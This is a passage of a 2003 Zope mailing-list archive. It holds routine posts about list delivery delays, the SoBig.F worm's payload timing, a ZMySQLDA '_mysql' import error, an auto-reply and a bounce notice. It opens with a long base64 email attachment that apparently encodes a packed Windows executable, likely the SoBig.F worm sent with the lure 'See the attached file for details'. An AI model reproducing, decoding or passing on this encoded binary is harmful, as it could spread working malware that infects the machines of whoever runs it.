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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGoBAABYQzAwMTgxNWQAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKkBAABYQzAwMTgxNWQA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABvAwAAWEMwMDE4MTVkAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACYBAAA WEMwMDE4MTVk --_NextPart_000_052E3122-- From jwashin at vt.edu Fri Aug 22 14:55:33 2003 From: jwashin at vt.edu (Jim Washington) Date: Fri Aug 22 21:25:35 2003 Subject: [Zope] I does not on the list?? In-Reply-To: <3F269CE0005596B8@stateless1.tiscali.cz> References: <3F269CE0005596B8@stateless1.tiscali.cz> Message-ID: <3F465915.7070906@vt.edu> Jaroslav Lukesh wrote: >I does not receive nothing from maillist from 2003/08/20 06:17am GMT > > Wow. I was wondering the same thing. But it seems to be working, if a bit slow, presuming your clock is set correctly. Maybe everybody that usually posts is on vacation? Or maybe SoBig.F. Payload five minutes from now, or so I am told. -- Jim Washington From jwashin at vt.edu Fri Aug 22 15:00:11 2003 From: jwashin at vt.edu (Jim Washington) Date: Fri Aug 22 21:26:31 2003 Subject: [Zope] I does not on the list?? In-Reply-To: <3F465915.7070906@vt.edu> References: <3F269CE0005596B8@stateless1.tiscali.cz> <3F465915.7070906@vt.edu> Message-ID: <3F465A2B.7030408@vt.edu> Jim Washington wrote: > Jaroslav Lukesh wrote: > >> I does not receive nothing from maillist from 2003/08/20 06:17am GMT >> >> > Wow. I was wondering the same thing. But it seems to be working, if > a bit slow, presuming your clock is set correctly. Maybe everybody > that usually posts is on vacation? > > Or maybe SoBig.F. Payload five minutes from now, or so I am told. > > -- Jim Washington > Oops. 19z. another hour. From hpinson at indepthl.com Fri Aug 22 12:12:50 2003 From: hpinson at indepthl.com (hpinson@indepthl.com) Date: Fri Aug 22 21:43:35 2003 Subject: [Zope] No module named _mysql Message-ID: <3F45FAB2.31024.421EC1A@localhost> On a new RH9 linux server I am attempting to install ZMySQLDA Product and am getting this error: "No module named _mysql" Prior to install of the Product I had added the mysql-python-0.9.2- 1.i386.rpm sucessfully, per suggestions here. Any suggestions? I see reference to a FAQ but have not been able to find it. Where might that be? Here is the Zope traceback: Traceback (most recent call last): File "/var/zope/lib/python/OFS/Application.py", line 541, in import_product product=__import__(pname, global_dict, global_dict, silly) File "/var/zope/lib/python/Products/ZMySQLDA/__init__.py", line 91, in ? import DA File "/var/zope/lib/python/Products/ZMySQLDA/DA.py", line 92, in ? from db import DB File "/var/zope/lib/python/Products/ZMySQLDA/db.py", line 89, in ? import _mysql ImportError: No module named _mysql Harlow Pinson Indepth Learning Email: hpinson@indepthl.com Web: http://www.indepthl.com Voice: 505-994-2135 FAX: 208-475-7678 From fjord at fjordimages.com Sat Aug 23 01:59:57 2003 From: fjord at fjordimages.com (fjord@fjordimages.com) Date: Fri Aug 22 21:48:41 2003 Subject: [Zope] Re: Re: Details Message-ID: <1061562125.2814.blah> Thank you for visiting FjordImages. If you urgently need to contact me, pls try phone no.: +47 40 49 17 74 brgds Ola Moen FjordImages -------- Original Message -------- > See the attached file for details From MAILER-DAEMON at mail05.inetu.net Fri Aug 22 10:19:30 2003 From: MAILER-DAEMON at mail05.inetu.net (MAILER-DAEMON@mail05.inetu.net) Date: Fri Aug 22 21:50:58 2003 Subject: [Zope] Undeliverable mail: Re: Details Message-ID: Failed to deliver to '' 